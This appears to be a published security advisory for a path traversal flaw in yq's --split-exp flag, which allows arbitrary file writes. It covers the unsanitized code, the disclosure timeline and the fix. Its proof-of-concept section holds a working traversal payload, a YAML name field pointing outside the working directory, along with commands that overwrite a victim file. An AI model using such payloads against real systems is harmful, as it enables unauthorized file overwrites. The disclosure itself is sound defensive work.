← Reports xaferima.com Español →

Arbitrary File Write via --split-exp Path Traversal

Path Traversal CVSS 7.3 HIGH CWE-22: Improper Limitation of a Pathname to a Restricted Directory mikefarah/yq ≤ v4.54.1 (--split-exp)

GHSA-9fvq-9qj8-6qhx · CVE assignment pending

Summary

The --split-exp (alias -s) flag evaluates a yq expression against input document content and uses the resulting scalar value directly as an output file path with no sanitization. Because neither .. components nor absolute paths are rejected before the value reaches os.MkdirAll and os.Create, an attacker-controlled YAML/JSON/XML document can direct yq to create or overwrite arbitrary files anywhere the victim process has write permission. A victim who runs yq -s '.name' attacker-payload.yml against untrusted input may have files outside the current working directory silently overwritten — yq exits 0.

Impact

Root Cause

In pkg/yqlib/printer_writer.go, multiPrintWriter.GetWriter takes the filename from the document itself and passes it to the filesystem unsanitized:

// printer_writer.go:66-67 — name comes from the document
if result.MatchingNodes.Len() > 0 {
    name = result.MatchingNodes.Front().Value.(*CandidateNode).Value
}

// printer_writer.go:69-72 — only an extension regex; no path validation
var extensionRegexp = regexp.MustCompile(`\.[a-zA-Z0-9]+$`)
if !extensionRegexp.MatchString(name) {
    name = fmt.Sprintf("%v.%v", name, sp.extension)
}

// printer_writer.go:74-78 — unsanitized name reaches the sinks
err = os.MkdirAll(filepath.Dir(name), 0750)
...
f, err := os.Create(name)

There is no filepath.IsAbs check, no rejection of .. segments, and no base-directory confinement. --split-exp-file shares the same writer (only the expression source changes — cmd/utils.go:57-64); the flags are wired in cmd/root.go:199-205.

Proof of Concept

Tested against yq v4.54.1. A sentinel file outside the working directory is overwritten with the attacker document:

# Working directory /tmp/yq-poc/work; victim file outside it
$ echo 'ORIGINAL SENSITIVE DATA - MUST NOT BE OVERWRITTEN' \
    > /tmp/yq-poc/victim/sensitive.yml

# Attacker-controlled payload: 'name' contains the traversal path
$ cat > /tmp/yq-poc/work/payload.yml <<'EOF'
name: ../victim/sensitive
message: attacker-controlled write
EOF

$ cd /tmp/yq-poc/work
$ yq -s '.name' payload.yml
[exit 0 — silent; the flag derives file names from the document]

$ cat /tmp/yq-poc/victim/sensitive.yml
name: ../victim/sensitive
message: attacker-controlled write          ← ORIGINAL DATA GONE

Confirmed variants: relative one level (../victim/…), relative two levels (escapes the PoC sandbox entirely), and absolute paths (name: /tmp/arbitrary/target creates or overwrites at the literal location). 3 screenshots attached to the advisory.

Disclosure Timeline

DateEvent
2026-10-09Vulnerability discovered; PoC confirmed (relative, two-level, and absolute-path variants)
2026-10-23Reported via GitHub Private Vulnerability Reporting as Issue A of the combined advisory; accepted by the maintainer the same day
2026-11-05Issue A split into the standalone advisory GHSA-9fvq-9qj8-6qhx
2026-11-09Advisory published; fix released in yq v4.54.3
PendingCVE assignment (request due now that a fix is public)

Fix

yq v4.54.3 restricts split output paths to the current directory by default:

- Restricted `--split-exp` output paths to the current directory by default.
  Use `--security-allow-write-any-path` with trusted input to restore the
  previous behaviour (#2965)

The advisory also proposes a defensive sanitizeSplitFilename that rejects absolute paths and .. segments after filepath.Clean before any MkdirAll/Create call. Workaround on vulnerable versions: do not pass untrusted documents to --split-exp / --split-exp-file.

Fixed in yq v4.54.3 (2026-11-09). Advisory published 2026-11-09; CVE assignment pending.

← Back to all reports